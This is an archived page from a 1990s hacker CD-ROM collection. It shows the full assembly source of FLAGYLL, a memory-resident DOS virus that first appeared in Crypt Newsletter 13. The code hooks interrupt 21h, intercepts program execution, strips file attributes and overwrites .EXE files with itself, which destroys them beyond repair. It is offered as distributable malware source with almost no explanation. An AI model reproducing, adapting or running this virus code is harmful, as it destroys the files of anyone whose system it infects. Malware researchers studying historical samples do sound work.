home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / FLAGYLL.ASM < prev    next >
Assembly Source File  |  1993-02-24  |  6KB  |  239 lines

  1. ;FLAGYLL virus - edited for Crypt Newsletter 13               
  2. ;FLAGYLL is a memory resident, overwriting virus which
  3. ;infects and destroys .EXE files on load.
  4. ;It updates the infected files time/date stamps to the time of
  5. ;infection so it can easily be followed.
  6. ;.EXE's infected by FLAGYLL are destroyed.  DOS will either
  7. ;refuse to load them or FLAGYLL will become resident
  8. ;as they execute.  These programs are ruined and can only
  9. ;be deleted. Because it is so destructive to files, FLAGYLL cannnot
  10. ;pose a threat in the wild, and in this respect, it is much
  11. ;inferior to the SUSAN virus included in this issue.
  12.            
  13.            .radix 16
  14.      cseg       segment
  15.         model  small
  16.         assume cs:cseg, ds:cseg, es:cseg
  17.  
  18.         org 100h
  19.  
  20. oi21            equ endflagyll
  21. filelength      equ endflagyll - begin
  22. nameptr         equ endflagyll+4
  23. DTA             equ endflagyll+8
  24.  
  25.      
  26.  
  27.  
  28.  
  29.  
  30.           
  31. begin:          jmp     install_flagyll                              
  32.  
  33.           
  34.  
  35.                          ; install
  36. install_flagyll:  
  37.         
  38.         mov     ax,cs                    ; reduce memory size     
  39.         dec     ax                           
  40.         mov     ds,ax                        
  41.         cmp     byte ptr ds:[0000],5a    ; check if last memory     
  42.         jne     cancel                   ; block     
  43.         mov     ax,ds:[0003]                 
  44.         sub     ax,100                   ; decrease memory     
  45.         mov     ds:0003,ax
  46.  
  47.  
  48. copy_flagyll:  
  49.         mov     bx,ax                    ; copy to claimed block  
  50.         mov     ax,es                    ; PSP    
  51.         add     ax,bx                    ; virus start in memory   
  52.         mov     es,ax
  53.         mov     cx,offset endflagyll - begin  ; cx = length of virus                  
  54.         mov     ax,ds                    ; restore ds   
  55.         inc     ax
  56.         mov     ds,ax
  57.         lea     si,ds:[begin]            ; point to start of virus
  58.         lea     di,es:0100               ; point to destination   
  59.         rep     movsb                    ; copy virus in memory   
  60.                              
  61.  
  62.  
  63. hook_21:                                     
  64.         
  65.         mov     ds,cx                   ; hook interrupt 21h
  66.         mov     si,0084h                ; 
  67.         mov     di,offset oi21
  68.         mov     dx,offset check_exec
  69.         lodsw
  70.         cmp     ax,dx                   ;
  71.         je      cancel                  ; exit, if already installed
  72.         stosw
  73.         movsw
  74.         
  75.         push    es 
  76.         pop     ds
  77.         mov     ax,2521h                ; revector int 21h to virus
  78.         int     21h
  79.                      
  80. cancel:         ret          
  81.  
  82. check_exec:                                    ; look over loaded files
  83.         pushf                          ; for executables
  84.  
  85.         push    es                     ; push everything onto the
  86.         push    ds                     ; stack
  87.         push    ax
  88.         push    bx
  89.         push    dx
  90.  
  91.         cmp     ax,04B00h               ; is a file being 
  92.                         ; executed ?
  93.         
  94.         
  95.         jne     abort                   ; no, exit
  96.  
  97. do_infect:      
  98.         call    infect                  ; then try to infect
  99.         
  100. abort:                                        ; restore everything
  101.         pop     dx
  102.         pop     bx
  103.         pop     ax
  104.         pop     ds
  105.         pop     es
  106.         popf
  107.  
  108. exit:      
  109.                          ; exit
  110.         jmp     dword ptr cs:[oi21]                     
  111.  
  112. infect:          
  113.         jmp     over_id              ; it's a vanity thing
  114.  
  115. note:           db      '-=[Crypt Newsletter 13]=-'
  116.  
  117.  
  118. over_id:        
  119.  
  120.  
  121.  
  122.         mov     cs:[name_seg],ds       ; this routine
  123.         mov     cs:[name_off],dx       ; essentially grabs
  124.                            ; the name of the file
  125.         cld                             ; clear direction flags
  126.         mov     word ptr cs:[nameptr],dx ; save pointer to the filename
  127.         mov     word ptr cs:[nameptr+2],ds
  128.  
  129.         mov     ah,2Fh                    ; get old DTA
  130.         int     21h
  131.         push    es
  132.         push    bx
  133.  
  134.         push    cs                        ; set new DTA
  135.  
  136.         pop     ds
  137.         mov     dx,offset DTA
  138.         mov     ah,1Ah
  139.         int     21h
  140.  
  141.         call    host_ident              ; find filename for virus
  142.         push    di
  143.         mov     si,offset COM_txt       ; is extension 'COM' ?
  144.  
  145.         mov     cx,3
  146.      rep    cmpsb 
  147.         pop     di
  148.         jz      return                  ; if so, let it pass by
  149.         mov     si,offset EXE_txt       ; is extension .EXE ?
  150.         nop
  151.         mov     cl,3
  152.         rep     cmpsb
  153.         jnz     return
  154.  
  155.  
  156.  
  157. do_exe:                                      ; infect host, destroying it
  158.         
  159.         mov     ax,4300h             ; clear attributes
  160.         mov     ds,cs:[name_seg]
  161.         mov     dx,cs:[name_off]
  162.         int     21h
  163.         and     cl,0FEh                
  164.         mov     ax,4301h
  165.         int     21h               
  166.         
  167.         mov     ds,cs:[name_seg]   ; open file read/write
  168.         mov     dx,cs:[name_off]
  169.         mov     ax,3D02h             
  170.         int     21h            
  171.         jc      close_file
  172.         push    cs
  173.         pop     ds
  174.         mov     [handle],ax          
  175.         mov     bx,ax               
  176.         
  177.         push    cs
  178.         pop     ds
  179.         mov     ax,4200h       ;set pointer to beginning of host
  180.         
  181.         push    cs
  182.         pop     ds
  183.         mov     bx,[handle]    ;handle to BX
  184.         xor     cx,cx
  185.         xor     dx,dx
  186.         int     21h
  187.         
  188.         
  189.         
  190.         mov     ah,40          ;write to file
  191.         mov     cx,filelength  ;virus length in cx    
  192.         mov     dx,100         ;start write at beginning of Flagyll
  193.         int     21h            ;do it
  194.         
  195. close_file:     mov     bx,[handle]
  196.         mov     ah,03Eh        ;close file, name -->BX            
  197.         int     21h
  198.         
  199.         mov     ax,4C00h       ;exit to DOS
  200.         int     21h
  201.  
  202.  
  203.  
  204.         
  205. return:         mov     ah,1Ah                 
  206.         pop     dx              ; restore old DTA
  207.         pop     ds
  208.         int     21H
  209.  
  210.         ret                     ; let DOS regain control       
  211.  
  212.  
  213. host_ident:     les     di,dword ptr cs:[nameptr]  ; finds filename for
  214.         mov     ch,0FFh                    ; host selection
  215.         mov     al,0
  216.      repnz  scasb
  217.         sub     di,4
  218.         ret
  219.  
  220.  
  221.         
  222.  
  223. EXE_txt         db  'EXE',0      ; extension masks
  224. COM_txt         db  'COM',0      ; for host selection
  225.  
  226. name_seg        dw  ?            ;data buffers for
  227. name_off        dw  ?            ; viral use on the fly
  228. handle          dw  ?
  229.  
  230. note2:           db     'Flagyll'     ; virus name
  231.  
  232. endflagyll:
  233.  
  234. cseg            ends
  235.         end begin
  236.  
  237.  
  238.  
  239.